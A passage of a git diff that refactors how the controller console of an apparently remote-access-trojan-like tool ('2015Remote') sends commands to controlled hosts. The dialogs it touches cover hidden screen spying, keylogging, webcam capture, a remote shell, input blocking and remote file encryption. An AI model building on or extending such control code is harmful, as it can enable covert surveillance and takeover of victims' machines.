IDM_OPEN_360AQ; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_360AQ2: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_360AQ2; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); break; } case IDM_OPEN_close: { LPBYTE lpPacket = new BYTE; lpPacket[0] = COMMAND_HIDE_CLEAR; - m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1); + m_ContextObject->Send2Client(lpPacket, 1); delete lpPacket; } break; @@ -777,7 +777,7 @@ void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg) LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1]; lpData[0] = COMMAND_SCREEN_CONTROL; memcpy(lpData + 1, &pMsg, sizeof(MYMSG)); - m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1); + m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1); SAFE_DELETE_ARRAY(lpData); } @@ -816,7 +816,7 @@ void CHideScreenSpyDlg::SendServerClipboard() memcpy(lpData + 1, lpstr, nPacketLen - 1); ::GlobalUnlock(hglb); ::CloseClipboard(); - m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen); + m_ContextObject->Send2Client(lpData, nPacketLen); delete[] lpData; } diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h index cd682cb..f5e957e 100644 --- a/server/2015Remote/HideScreenSpyDlg.h +++ b/server/2015Remote/HideScreenSpyDlg.h @@ -34,7 +34,7 @@ public: VOID SendNext(void) { BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } void OnReceiveComplete(); BOOL ParseFrame(void); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 0be5031..b879462 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -808,7 +808,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s) if (ContextObject != NULL) { - ContextObject->InitMember(s); + ContextObject->InitMember(s, this); } return ContextObject; diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp index dc543a2..6a90bed 100644 --- a/server/2015Remote/IOCPUDPServer.cpp +++ b/server/2015Remote/IOCPUDPServer.cpp @@ -51,7 +51,7 @@ void IOCPUDPServer::PostRecv() { AddCount(1); CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT(); - ctx->InitMember(m_socket); + ctx->InitMember(m_socket, this); IO_CONTEXT* ioCtx = new IO_CONTEXT(); ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED)); diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 17a28f6..622d41d 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog() // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE @@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) if (pSysMenu != NULL) { m_bIsOfflineRecord = !m_bIsOfflineRecord; BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); else @@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) } else if (nID == IDM_CLEAR_RECORD) { BYTE bToken = COMMAND_KEYBOARD_CLEAR; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); m_edit.SetWindowText(""); } else if (nID == IDM_SAVE_RECORD) { SaveRecord(); diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index e3b9fe6..6c215b8 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult) bToken=COMMAND_REG_FIND; strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x] - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); + m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); m_isEnable = TRUE; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index a5ceeaa..62c4b1f 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C VOID CScreenSpyDlg::SendNext(void) { BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } @@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; bToken[1] = !bIsChecked; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); break; } case IDM_GET_CLIPBOARD: //鎯宠Client鐨勫壀璐存澘鍐呭 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); break; } case IDM_SET_CLIPBOARD: //缁欎粬 @@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg) szData[0] = COMMAND_SCREEN_CONTROL; memcpy(szData + 1, Msg, sizeof(MSG64)); szData[length] = 0; - m_iocpServer->Send2Client(m_ContextObject, szData, length); + m_ContextObject->Send2Client(szData, length); } BOOL CScreenSpyDlg::SaveSnapshot(void) @@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void) memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); ::GlobalUnlock(hGlobal); ::CloseClipboard(); - m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength); + m_ContextObject->Send2Client((PBYTE)szBuffer, iPacketLength); delete[] szBuffer; } diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index afade64..4845dfe 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -57,11 +57,9 @@ enum { COMPRESS_NONE = 1, // 没有压缩 }; -struct CONTEXT_OBJECT; - // Header parser: parse the data to make sure it's from a supported client. class HeaderParser { - friend struct CONTEXT_OBJECT; + friend class CONTEXT_OBJECT; protected: HeaderParser() { memset(this, 0, sizeof(HeaderParser)); @@ -229,8 +227,31 @@ public: } }; -typedef struct CONTEXT_OBJECT +typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); +typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); + +class Server { +public: + friend class CONTEXT_OBJECT; + + Server() {} + virtual ~Server() {} + + virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0; + + virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0; + + virtual void UpdateMaxConnection(int maxConn) {} + + virtual void Destroy() {} + + virtual void Disconnect(CONTEXT_OBJECT* ctx) {} +}; + +typedef class CONTEXT_OBJECT +{ +public: CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; SOCKET sClientSocket; @@ -250,10 +271,11 @@ typedef struct CONTEXT_OBJECT BOOL m_bProxyConnected; // 代理是否连接 BOOL bLogin; // 是否 login std::string PeerName; // 对端IP + Server* server; // 所属服务端 int addrLen; // for UDP sockaddr_in clientAddr; // for UDP - VOID InitMember(SOCKET s) + VOID InitMember(SOCKET s, Server *svr) { memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); hWnd = NULL; @@ -273,9 +295,17 @@ typedef struct CONTEXT_OBJECT Parser.Reset(); bLogin = FALSE; m_bProxyConnected = FALSE; + server = svr; clientAddr = {}; addrLen = sizeof(sockaddr_in); } + Server* GetServer() { + return server; + } + VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) { + if (server) + server->Send2Client(this, szBuffer, ulOriginalLength); + } VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) { for (int i = 0; i < ONLINELIST_MAX; i++) { @@ -396,23 +426,3 @@ typedef struct CONTEXT_OBJECT }CONTEXT_OBJECT, * PCONTEXT_OBJECT; typedef CList ContextObjectList; - -typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); -typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); - -class Server -{ -public: - Server(){} - virtual ~Server(){} - - virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0; - - virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0; - - virtual void UpdateMaxConnection(int maxConn){} - - virtual void Destroy(){} - - virtual void Disconnect(CONTEXT_OBJECT* ctx) {} -}; diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index 756a937..314239b 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart() void CServicesDlg::OnServicesReflash() { BYTE bToken = COMMAND_SERVICELIST; //刷新 - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } // 释放资源以后再清空 @@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd) memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1); - m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer)); + m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index c9ead59..cc2bc44 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog() SetWindowText(str); BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); m_Edit.SetWindowTextA(">>"); m_nCurSel = m_Edit.GetWindowTextLengthA(); @@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) return TRUE; } int length = str.GetLength() - m_nCurSel; - m_iocpServer->Send2Client(m_ContextObject, pSrc, length); + m_ContextObject->Send2Client(pSrc, length); m_nCurSel = m_Edit.GetWindowTextLength(); } // 限制VK_BACK diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 48575bb..7f3e53f 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill() dwOffset += sizeof(DWORD); } //发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头 - m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer)); + m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); Sleep(100); @@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh() VOID CSystemDlg::GetProcessList(void) { BYTE bToken = COMMAND_PSLIST; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } @@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh() void CSystemDlg::GetWindowsList(void) { BYTE bToken = COMMAND_WSLIST; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } @@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose() auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送 DWORD dHow=SW_HIDE; //窗口处理参数 0 memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_NORMAL; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MAXIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } @@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin() memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MINIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index 9e86651..a3dafaf 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE @@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk() m_EditTalk.SetWindowText(NULL); - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer)); + m_ContextObject->Send2Client((LPBYTE)szBuffer, strlen(szBuffer)); } diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index e162ad0..79621b0 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog() BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } SetIcon(m_hIcon, TRUE); @@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler) m_pVideoCodec = NULL; // 通知服务端不启用压缩 BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } } @@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS; if (!bIsChecked) bToken = COMMAND_WEBCAM_DISABLECOMPRESS; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); break; } } diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 523098b..38ead68 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList() SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); BYTE bPacket = COMMAND_FILE_GETNETHOOD; - m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1); + m_ContextObject->Send2Client(&bPacket, 1); } void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) @@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); + m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_FILE_GETINFO; memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); + m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); } return; @@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) } if (directory.Compare(_T("最近")) == 0) { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send2Client(m_ContextObject, &byToken, 1); + m_ContextObject->Send2Client(&byToken, 1); return; } m_Remote_Path = directory; @@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); + m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, directory); @@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView() void CFileManagerDlg::OnRemoteRecent() { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send2Client(m_ContextObject, &byToken, 1); + m_ContextObject->Send2Client(&byToken, 1); } void CFileManagerDlg::OnRemoteDesktop() @@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile() SendStop(TRUE); else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } @@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile() bToken[0] = COMMAND_CONTINUE; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } @@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_FILE_EXCEPTION; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendStop(BOOL bIsDownload) @@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload) BYTE bBuff[2]; bBuff[0] = COMMAND_STOP; bBuff[1] = bIsDownload; - m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff)); + m_ContextObject->Send2Client(bBuff, sizeof(bBuff)); } void CFileManagerDlg::ShowProgress() @@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() @@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); } } @@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR)); memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR), strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete() { BYTE bBuff; bBuff = COMMAND_FILE_NO_ENFORCE; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff)); + m_ContextObject->Send2Client(&bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce() { BYTE bBuff; bBuff = COMMAND_FILE_ENFOCE; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff)); + m_ContextObject->Send2Client(&bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow() lpPacket[0] = COMMAND_OPEN_FILE_SHOW; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide() lpPacket[0] = COMMAND_OPEN_FILE_HIDE; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_INFO; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption() lpPacket[0] = COMMAND_FILE_Encryption; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt() lpPacket[0] = COMMAND_FILE_Decrypt; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile() lpPacket[0] = COMMAND_FILE_CopyFile; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("准备粘贴")); } @@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_PasteFile; memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip() lpPacket[0] = COMMAND_FILE_zip; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); @@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip() void CFileManagerDlg::OnRemotezipstop() { BYTE lpPacket = COMMAND_FILE_zip_stop; - m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1); + m_ContextObject->Send2Client(&lpPacket, 1); } void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) @@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1]; lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST; memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH)); - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); + m_ContextObject->Send2Client((LPBYTE)lpbuffer, sizeof(SEARCH) + 1); SAFE_DELETE_AR(lpbuffer); SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } @@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + 